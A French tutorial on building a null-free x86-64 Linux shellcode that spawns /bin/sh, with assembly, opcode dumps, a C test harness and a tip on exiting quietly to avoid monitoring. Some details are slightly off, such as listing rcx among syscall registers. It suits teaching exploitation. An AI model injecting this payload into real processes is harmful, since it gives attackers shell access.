Faire son shellcode pour un Linux 64 bits.

Divulgâchage : Un petit retour aux sources avec un article qui nous amène à la base de l’exploitation logicielle : faire un shellcode sur une archi 64 bits.

L’autre jour, en donnant un cours à l’INSA, j’ai présenté aux étudiants une méthode pour fabriquer son propre shellcode.

Pour ceux qui ne connaissent pas le terme, il s’agit d’une chaine de caractères contenant un code binaire pouvant être exécuté sur une machine. Il doit être différent en fonction de l’architecture sur laquelle il va tourner, mais aussi de l’OS auquel il est destiné.

Mes transparents montraient alors en exemple la création d’un shellcode sur un Linux, pour une architecture 32bits. Le binaire exécuté était ce qui se fait de plus classique en matière de shellcode: ouvrir une ligne de commande.

Et évidemment, on m’a posé la question suivante : « Et sur 64bits ? »

Voici donc un petit article pour répondre à la question, il détaille la création d’un shellcode permettant de lancer /bin/sh si on a un Linux et un processeur 64 bits.

geralt @ pixabay

Code C

Si nous étions des brutasses, nous pourrions bien évidemment écrire directement le shellcode en code machine… Mais peut de gens parlent opcode couramment… Même l’assembleur (une traduction des opcodes un pouième plus lisible) est un langage qui n’est pas très répandu…

La tradition veut donc, que lorsque l’on écrit un shellcode, on parte d’un code en C, que l’on traduira en assembleur, puis en code machine.

L’écriture du code en C est facultative, mais présente deux avantages :

kuszapro @ pixabay

La cible

Le programme suivant permet de lancer un shell, grâce à l’utilisation de execve. Il nous servira de cible : il représente exactement ce que nous souhaitons que notre shellcode fasse.

#include <stdio.h>
#include <unistd.h> 
#include <stdlib.h>

void main() {
    char *name[2];
    
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
    exit(0);
}

Lors de l’appel à execve(), le système va remplacer le processus courant par celui correspondant à l’exécution de /bin/sh. Si cette opération réussi, le flux d’instruction est interrompu pour se poursuivre dans ce nouveau processus. En cas d’échec, l’exécution se poursuivra par l’appel exit(0).

Dans un main comme le notre, l’appel à exit(0) est inutile puisqu’en cas d’échec de execve, le programme se terminerait de toutes façons naturellement.

Mais le but d‘un shellcode est d’être injecté dans la mémoire d’un processus victime d’une attaque pour y être exécuté (i.e. par buffer overflow mais pas que). Comme nous n’avons aucune certitude ni sur la réussite de execve(), ni sur le contenu de la mémoire après notre shellcode, nous préférons forcer un arrêt discret du processus par un appel à exit() plutôt que de le laisser exécuter n’importe quoi n’importe comment.

Si on voulait être plus propre, on devrait d’ailleurs faire un exit(1) mais comme on ne souhaite généralement pas attirer l’attention du monitoring par des codes de retours d’erreur (avec un 1), on lui ment en disant que tout va bien (avec un 0).

La compilation

On compile avec gcc, puis on exécute le binaire et on observe que nous avons bien ouvert un shell.

arsouyes@VBox:~/Documents$ gcc shellcode.c -o shellcode
arsouyes@VBox:~/Documents$ ./shellcode 
$ 

Si vous souhaitez observer avec gdb le code desassemblé, je vous conseille de compiler avec les options suivantes :

Passer par l’assembleur

Maintenant que l’on sait où l’on va, on va écrire le code assembleur correspondant au code C.

Nous nous heurtons à deux contraintes :

La chaine /bin/sh

Il n’est pas possible de connaitre à l’avance l’adresse de la chaîne de caractères /bin/sh. Il va donc falloir ruser pour la récupérer.

Chose intéressante, puisque nous sommes sur une architecture 64 bits, il est possible de stocker directement la chaîne de caractères /bin/sh, sous sa forme hexadécimale, dans un registre. /bin/sh en hexadécimal donne : 2f.62.69.6e.2f.73.68. Comme nous sommes sur une architecture petit-boutiste, cela donnera 0x68732f6e69622f. Enfin, puisqu’il s’agit d’une chaîne de caractères, on va rajouter le caractère vide (0x00) à la fin, nous stockerons donc la chaine 0x0068732f6e69622f dans un registre.

Nous pourrons ensuite pusher ce registre sur la pile. L’adresse de la chaine sera alors l’adresse de pointeur de pile.

Execve

La deuxième contrainte est l’obligation de s’affranchir de toutes bibliothèque externe, car nous ne sommes pas sûrs qu’elles soient présentes. Il va donc falloir aller à la source des appels, dans notre cas à execve et à exit.

La fonction execve est une fonction assez spéciale. Elle nécessite de demander au système d’exploitation d’effectuer des tâches relatives au contrôle des processus. Comme notre processus utilisateur n’est pas capable d’effectuer ce genre de requêtes, on doit faire des appels systèmes.

Une petite recherche dans la table des appels systèmes du noyau Linux nous apprends que execve correspond à l’appel système numéro 59, soit 0x3b en hexadécimal.

Par convention lorsque l’on appelle un appel système, sous Linux, le passage des paramètres se fasse via les registres dans l’ordre suivant : rdi, rsi, rdx, rcx, r8, r9. De même, par convention, le numéro de l’appel système doit se situer dans le registre rax. L’appel système est ensuite effectué via l’instruction assembleur syscall. Nous devons donc mettre l’adresse de /bin/sh dans le registre rdi, l’adresse de l’adresse de /bin/sh dans le registre rsi et 0 dans le registre rdx. Nous devons également avoir0x3b dans le registre rax.

Ce qui se traduit en assembleur par :

    mov    $0x3b, %rax
    mov    $0x0,  %rdx
    movabs $0x0068732f6e69622f,%r8                       
    push   %r8                 
    mov    %rsp,  %rdi
    push   %rdx
    push   %rdi
    mov    %rsp,  %rsi
    syscall
    mov    $0x3c, %rax
    mov    $0x0,  %rdi
    syscall     

Exit

Comme précédemment, exit est un appel système. Il fonctionne donc de la même manière que execve, c’est à dire que son unique paramètre sera dans le registre rdi, et son numéro (60, c’est à dire 0x3c), doit être dans le registre rax.

Son code assembleur sera donc :

    mov    $0x3c, %rax
    mov    $0x0,  %rdi
    syscall    

Si vous souhaitez utiliser gdb afin de désassembler exit et d’observer son code, vous vous rendrez compte que cela s’avère fastidieux ; exit appelle _run_exit_handlers qui lui même effectue énormément de choses avant d’appeler _exit, qui finit par faire le syscall en mettant 0x3c dans le registre rax.

Code final

Maintenant que nous disposons de toutes les informations pour écrire notre code, nous pouvons les concaténer ensemble et écrire le code en assembleur. Pour faciliter, on rajoute les quelques décorations qui nous permettrons d’avoir un code asm autonome :

    .section .text
    .globl _start
    _start:
        mov    $0x3b, %rax
        mov    $0x0,  %rdx
        movabs $0x0068732f6e69622f,%r8                    
        push   %r8
        mov    %rsp,  %rdi
        push   %rdx
        push   %rdi
        mov    %rsp,  %rsi
        syscall
        mov    $0x3c, %rax
        mov    $0x0,  %rdi
        syscall     

On converti en code objet grâce à as, puis on génère un fichier exécutable avec ld.

Comme nous n’utilisons pas de bibliothèque externe, ld va juste effectuer de la «décoration», c’est à dire, le header, le point d’entrée, et pas grand chose de plus…

arsouyes@VBox:~/Documents$ as -o asm.o asm.s
arsouyes@VBox:~/Documents$ ld -o asm asm.o
arsouyes@VBox:~/Documents$ ./asm
$ 

Opcode

Maintenant que l’on a notre code assembleur, on peut enfin passer au code machine. Chaque instruction doit être traduite en code machine, suite de 0 et de 1 compréhensible par le processeur. Pour cela, on peut se servir de la documentation d’INTEL.

geralt @ pixabay

Mais comme un bon informaticien est un informaticien fainéant, on va utiliser objdump, qui va le faire pour nous…

objdump est un programme en ligne de commande, permettant d’afficher différentes informations sur des fichiers objets. L’option qui nous intéresse est -d, qui permet de désassembler. Chaque instruction est découpée en une ligne, qui commence par son adresse, puis sa version en hexadécimal, et enfin, son code assembleur.

arsouyes@VBox:~/Documents$ objdump -d asm.o
asm.o:     format de fichier elf64-x86-64
Déassemblage de la section .text :
0000000000000000 <_start>:
 0: 48 c7 c0 3b 00 00 00 mov    $0x3b,%rax
 7: 48 c7 c2 00 00 00 00 mov    $0x0,%rdx
 e: 49 b8 2f 62 69 6e 2f movabs $0x68732f6e69622f,%r8
15: 73 68 00 
18: 41 50                push   %r8
1a: 48 89 e7             mov    %rsp,%rdi
1d: 52                   push   %rdx
1e: 57                   push   %rdi
1f: 48 89 e6             mov    %rsp,%rsi
22: 0f 05                syscall 
24: 48 c7 c0 3c 00 00 00 mov    $0x3c,%rax
2b: 48 c7 c7 00 00 00 00 mov    $0x0,%rdi
32: 0f 05                syscall 

Nous allons récupérer l’hexadécimal. Il s’agit de notre shellcode.

\x48\xc7\xc0\x3b\x00\x00\x00\x48
\xc7\xc2\x00\x00\x00\x00\x49\xb8
\x2f\x62\x69\x6e\x2f\x73\x68\x00
\x41\x50\x48\x89\xe7\x52\x57\x48
\x89\xe6\x0f\x05\x48\xc7\xc0\x3c
\x00\x00\x00\x48\xc7\xc7\x00\x00
\x00\x00\x0f\x05

On peut alors tester notre shellcode. Pour cela, nous allons utiliser un petit code C. En déclarant un pointeur de fonction et en lui donnant comme valeur l’adresse du shellcode, on va pouvoir l’exécuter:

#include<stdio.h>
#include<string.h>

int main(int argc, char **argv) {

    unsigned char code[] =
     "\x48\xc7\xc0\x3b\x00\x00\x00\x48"
     "\xc7\xc2\x00\x00\x00\x00\x49\xb8"
     "\x2f\x62\x69\x6e\x2f\x73\x68\x00"
     "\x41\x50\x48\x89\xe7\x52\x57\x48"
     "\x89\xe6\x0f\x05\x48\xc7\xc0\x3c"
     "\x00\x00\x00\x48\xc7\xc7\x00\x00"
     "\x00\x00\x0f\x05";
    
    int (*ret)() = (int(*)())code;

    ret();
}

Pour compiler, il faut utiliser les options suivantes :

arsouyes@VBox:~/Documents$ gcc testop.c -o testop -fno-stack-protector -z execstack
arsouyes@VBox:~/Documents$ ./testop 
$ exit

Il vous faudra peut être également installer le paquet execstack.

Et voilà ! Notre shellcode fonctionne !

Supprimer les 0x00

Notre shellcode est encore loin d’être prêt pour une utilisation dans un cas réel. La présence de 0x00 dans celui-ci peut l’amener à être tronqué en cas de copie avec une fonction comme strcpy

Il faut donc trouver une alternative à chaque instruction posant problème.

Une instruction mov contenant des opcodes avec des 0 peut être remplacé par un push, suivit d’un pop.

Dans notre cas :

mov $0x3b,%rax et mov $0x3c,%rax posent problème et peuvent être remplacés par

    push $0x3b
    pop %rax

et

    push $0x3c
    pop %rax

Une instruction mettant 0x00 dans un registre peut être remplacé par un xor du registre sur lui-même.

On effectue donc un premier remplacement :

;   mov    $0x0,%rdx
    xor    %rdx,%rdx

Et un deuxième :

;   mov    $0x0,%rdi
    xor    %rdi,%rdi

Enfin, notre chaine de caractères elle-même se finit par un \0. Pour éviter cela, on va utiliser la chaine //bin/sh, que l’on va mettre dans le registre r8, puis on va faire un décalage de 8 bits, ce qui mettra donc un 0 à la fin de la chaîne.

Dans notre cas :

movabs $0x0068732f6e69622f,%r8 sera remplacé par

;   movabs $0x0068732f6e69622f,%r8
    movabs $0x68732f6e69622f2f,%r8
    shr    $0x8,               %r8

Notre code assembleur final sera donc :

.section .text
.globl _start
_start:
    push $0x3b
    pop %eax
    xor %rdx,%rdx
    movabs $0x68732f6e69622f2f,%r8    
    shr $0x8, %r8                    
    push %r8
    mov %rsp, %rdi
    push %rdx
    push %rdi
    mov %rsp, %rsi
    syscall
    push $0x3c
    pop %eax
    xor %rdi,%rdi
    syscall     

En utilisant objdump, on vérifie qu’il ne reste plus de 0:

arsouyes@VBox:~/Documents$ objdump -d asm2.o
asm2.o:     format de fichier elf64-x86-64
Déassemblage de la section .text :
0000000000000000 <_start>:
 0: 6a 3b                pushq  $0x3b
 2: 58                   pop    %rax
 3: 48 31 d2             xor    %rdx,%rdx
 6: 49 b8 2f 2f 62 69 6e movabs $0x68732f6e69622f2f,%r8
 d: 2f 73 68 
10: 49 c1 e8 08          shr    $0x8,%r8
14: 41 50                push   %r8
16: 48 89 e7             mov    %rsp,%rdi
19: 52                   push   %rdx
1a: 57                   push   %rdi
1b: 48 89 e6             mov    %rsp,%rsi
1e: 0f 05                syscall 
20: 6a 3c                pushq  $0x3c
22: 58                   pop    %rax
23: 48 31 ff             xor    %rdi,%rdi
26: 0f 05                syscall

Nous disposons donc d’un shellcode dont nous avons supprimé les 0. On peut le tester de la même manière que tout à l’heure, en l’insérant dans un code C.

#include<stdio.h>
#include<string.h>

int main(int argc, char **argv) {

    unsigned char code[] =
     "\x6a\x3b\x58\x48\x31\xd2\x49"
     "\xb8\x2f\x2f\x62\x69\x6e\x2f"
     "\x73\x68\x49\xc1\xe8\x08\x41"
     "\x50\x48\x89\xe7\x52\x57\x48"
     "\x89\xe6\x0f\x05\x6a\x3c\x58"
     "\x48\x31\xff\x0f\x05";
    
    int (*ret)() = (int(*)())code;

    ret();
}

En compilant et exécutant:

arsouyes@VBox:~/Documents$ gcc testop2.c -o testop2 -fno-stack-protector -z execstack
arsouyes@VBox:~/Documents$ ./testop2 
$ exit

Et après ?

Vous pouvez utiliser cette méthode pour créer vos propres shellcodes. On peut bien évidemment l’adapter à un Linux 32 bits, ou encore à Windows. Et réutiliser le principe pour faire plus que lancer simplement un shell…